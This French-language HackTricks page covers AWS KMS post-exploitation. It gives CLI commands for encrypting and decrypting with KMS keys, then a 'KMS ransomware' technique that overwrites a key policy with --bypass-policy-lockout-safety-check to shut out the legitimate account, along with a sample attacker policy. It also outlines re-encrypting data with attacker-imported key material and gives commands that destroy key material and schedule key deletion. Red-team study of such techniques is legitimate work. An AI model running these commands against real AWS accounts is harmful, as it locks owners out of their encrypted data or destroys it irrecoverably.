AWS - KMS Post Exploitation

Reading time: 5 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

KMS

Pour plus d'informations, consultez :

AWS - KMS Enum

Chiffrer/Déchiffrer des informations

fileb:// et file:// sont des schémas URI utilisés dans les commandes AWS CLI pour spécifier le chemin vers des fichiers locaux :

  • fileb://: Lit le fichier en mode binaire, couramment utilisĂ© pour les fichiers non textuels.
  • file://: Lit le fichier en mode texte, gĂ©nĂ©ralement utilisĂ© pour des fichiers texte brut, des scripts ou du JSON qui n'a pas d'exigences d'encodage spĂ©ciales.

tip

Notez que si vous souhaitez déchiffrer des données à l'intérieur d'un fichier, le fichier doit contenir les données binaires, et non des données encodées en base64. (fileb://)

  • Utilisation d'une clĂ© symĂ©trique
bash
# Encrypt data
aws kms encrypt \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile

# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--output text \
--query Plaintext | base64 \
--decode
  • Utiliser une clĂ© asymĂ©trique :
bash
# Encrypt data
aws kms encrypt \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile

# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--output text \
--query Plaintext | base64 \
--decode

KMS Ransomware

Un attaquant ayant un accÚs privilégié sur KMS pourrait modifier la politique KMS des clés et accorder à son compte l'accÚs sur celles-ci, supprimant l'accÚs accordé au compte légitime.

Ensuite, les utilisateurs du compte légitime ne pourront accéder à aucune information de tout service qui a été chiffré avec ces clés, créant ainsi un ransomware facile mais efficace sur le compte.

warning

Notez que les clés gérées par AWS ne sont pas affectées par cette attaque, seulement les clés gérées par le client.

Notez également la nécessité d'utiliser le paramÚtre --bypass-policy-lockout-safety-check (l'absence de cette option dans la console web rend cette attaque uniquement possible depuis la CLI).

bash
# Force policy change
aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
--policy-name default \
--policy file:///tmp/policy.yaml \
--bypass-policy-lockout-safety-check

{
"Id": "key-consolepolicy-3",
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<your_own_account>:root"
},
"Action": "kms:*",
"Resource": "*"
}
]
}

caution

Notez que si vous changez cette politique et que vous ne donnez l'accĂšs qu'Ă  un compte externe, puis que depuis ce compte externe vous essayez de dĂ©finir une nouvelle politique pour rendre l'accĂšs au compte d'origine, vous ne pourrez pas car l'action Put Policy ne peut pas ĂȘtre effectuĂ©e d'un compte Ă  l'autre.

Ransomware KMS Générique

Ransomware KMS Global

Il existe une autre façon d'effectuer un ransomware KMS global, qui impliquerait les étapes suivantes :

  • CrĂ©er une nouvelle clĂ© avec un matĂ©riel de clĂ© importĂ© par l'attaquant
  • RĂ©-encrypter les anciennes donnĂ©es chiffrĂ©es avec la version prĂ©cĂ©dente avec la nouvelle.
  • Supprimer la clĂ© KMS
  • Maintenant, seul l'attaquant, qui possĂšde le matĂ©riel de clĂ© d'origine, pourrait ĂȘtre en mesure de dĂ©chiffrer les donnĂ©es chiffrĂ©es

Détruire les clés

bash
# Destoy they key material previously imported making the key useless
aws kms delete-imported-key-material --key-id 1234abcd-12ab-34cd-56ef-1234567890ab

# Schedule the destoy of a key (min wait time is 7 days)
aws kms schedule-key-deletion \
--key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \
--pending-window-in-days 7

caution

Notez qu'AWS empĂȘche dĂ©sormais les actions prĂ©cĂ©dentes d'ĂȘtre effectuĂ©es depuis un compte croisĂ© :

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks